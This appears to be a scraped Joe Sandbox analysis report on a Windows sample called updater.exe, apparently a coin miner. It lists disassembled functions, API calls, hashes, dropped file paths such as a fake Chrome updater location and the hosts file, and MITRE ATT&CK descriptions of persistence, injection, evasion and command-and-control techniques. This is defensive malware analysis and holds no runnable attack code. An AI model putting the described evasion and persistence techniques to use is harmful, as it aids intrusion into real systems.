VirtualQuery.KERNEL32(?,?,?,?,0000000140007E68,0000000140007E68,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001C63
VirtualProtect.KERNEL32(?,?,?,?,0000000140007E68,0000000140007E68,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001CC7
memcpy.MSVCRT ref: 0000000140001CE0
GetLastError.KERNEL32(?,?,?,?,0000000140007E68,0000000140007E68,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001D23

Strings

Address %p has no image-section, xrefs: 0000000140001CF4
VirtualQuery failed for %d bytes at address %p, xrefs: 0000000140001D17
VirtualProtect failed with code 0x%x, xrefs: 0000000140001D29

Memory Dump Source

Source File: 00000024.00000002.3248255656.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000024.00000002.3248231403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248288460.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248349670.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248369050.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140000000_conhost.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: 2a584a706622e52ade0fcab731ee33d1777f307b9fa9d7d0bf991f3a34367caa
Instruction ID: 1161044a75eb1e7cd09bc24417fd150d5724ba9878afa94a0ebc1ae4739ba328
Opcode Fuzzy Hash: 2a584a706622e52ade0fcab731ee33d1777f307b9fa9d7d0bf991f3a34367caa
Instruction Fuzzy Hash: 0F4132B1201A4486FA26DF57F884BE927A0F78DBC4F554126EF0E877B1DA38C586C700

Function 0000000140002104 Relevance: 9.1, APIs: 6, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002118
TlsGetValue.KERNEL32 ref: 000000014000214F
GetLastError.KERNEL32 ref: 0000000140002154
LeaveCriticalSection.KERNEL32 ref: 0000000140002212
free.MSVCRT ref: 0000000140002234
DeleteCriticalSection.KERNEL32 ref: 000000014000225D

Memory Dump Source

Source File: 00000024.00000002.3248255656.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000024.00000002.3248231403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248288460.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248349670.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248369050.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140000000_conhost.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
String ID:
API String ID: 3326252324-0
Opcode ID: bcf1c14129559fff498e2fab62ae5e52fccf0f5f2b7621f1284fde4cab1a4794
Instruction ID: e3a015b4a75ce14096daf75d7f598576e46144e8d1edeea3fbfa6c29d12a9d61
Opcode Fuzzy Hash: bcf1c14129559fff498e2fab62ae5e52fccf0f5f2b7621f1284fde4cab1a4794
Instruction Fuzzy Hash: 8021B3B1305A11D2FA6BDB53F9583E82364BB6CBD0F444121FF5A576B4DB798986C300

Function 0000000140001E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 0000000140001E27

Memory Dump Source

Source File: 00000024.00000002.3248255656.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000024.00000002.3248231403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248288460.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248349670.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248369050.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140000000_conhost.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: dd8133f626706b62a136801e6f14d89df3933c56dad94dca13a3ea9b55e7724d
Instruction ID: 3456a1c84c2a53dd5aa6e48d6b89ab24717cda018660fff4778c7de244838e1d
Opcode Fuzzy Hash: dd8133f626706b62a136801e6f14d89df3933c56dad94dca13a3ea9b55e7724d
Instruction Fuzzy Hash: 5E214CB1B4150542FA7BDA2BF5903F91192ABCC7E4F258535FF5A473F5DE3888828241

Function 0000000140001880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001247), ref: 00000001400019F9

Strings

Unknown pseudo relocation bit size %d., xrefs: 0000000140001B7B
Unknown pseudo relocation protocol version %d., xrefs: 0000000140001B8B

Memory Dump Source

Source File: 00000024.00000002.3248255656.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000024.00000002.3248231403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248288460.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248349670.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248369050.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140000000_conhost.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: a89914c2fd02570a4e6521a208eebb3515e1225b41bbed0033c188a81e2debbf
Instruction ID: 7b3573af97f4a1eacab2cf6b7141f308442550d87ff31978870e308cef0d76bf
Opcode Fuzzy Hash: a89914c2fd02570a4e6521a208eebb3515e1225b41bbed0033c188a81e2debbf
Instruction Fuzzy Hash: 265105B6B11544DAEB12CF67F840BD82761A759BE8F548211FB19077B4DB38C586C700

Function 0000000140001800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 000000014000185A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 000000014000184D
Unknown error, xrefs: 0000000140001824

Memory Dump Source

Source File: 00000024.00000002.3248255656.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000024.00000002.3248231403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248288460.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248349670.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248369050.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140000000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: eb152ed10c2c1a9f974652424f988c556df87c33465b9ce34772e34cbd9d02d8
Instruction ID: f616287742e50a73d89ee1abed936dc904873cdc8678ebe312197a385c6e0082
Opcode Fuzzy Hash: eb152ed10c2c1a9f974652424f988c556df87c33465b9ce34772e34cbd9d02d8
Instruction Fuzzy Hash: 71F06271A14A4482E612EB6AB9417E96361E75D7C1F509221FF4DA76A2DF38D1828310

Function 000000014000219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400021B2
TlsGetValue.KERNEL32 ref: 00000001400021EB
GetLastError.KERNEL32 ref: 00000001400021F0
LeaveCriticalSection.KERNEL32 ref: 000000014000226C

Memory Dump Source

Source File: 00000024.00000002.3248255656.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000024.00000002.3248231403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248288460.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248349670.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.3248369050.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140000000_conhost.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 75c239d6f9b1b05cd32b51954dacabd1d99c2907a8b4144d0770202a5cd4097e
Instruction ID: 57be894ec6e479b01b3bdbc431c3049754870fdb45279c41188df5f75f20f987
Opcode Fuzzy Hash: 75c239d6f9b1b05cd32b51954dacabd1d99c2907a8b4144d0770202a5cd4097e
Instruction Fuzzy Hash: 2F01B6B5305A0192FA5BDB53FD083D86364BB6CBD1F854021EF09536B4DB75C996C300

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report updater.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Change of critical system settings

System Summary

HIPS / PFW / Operating System Protection Evasion

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Change of critical system settings

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Google\Chrome\updater.exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1bosnzhv.fsu.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hi00hr1n.lvt.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jodddkj1.w0x.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wlcjo51f.juz.ps1

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Windows\System32\drivers\etc\hosts

C:\Windows\Temp\__PSScriptPolicyTest_c2tvagps.hao.ps1

C:\Windows\Temp\__PSScriptPolicyTest_gb3hbzal.jkv.psm1

Windows Analysis Report
updater.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre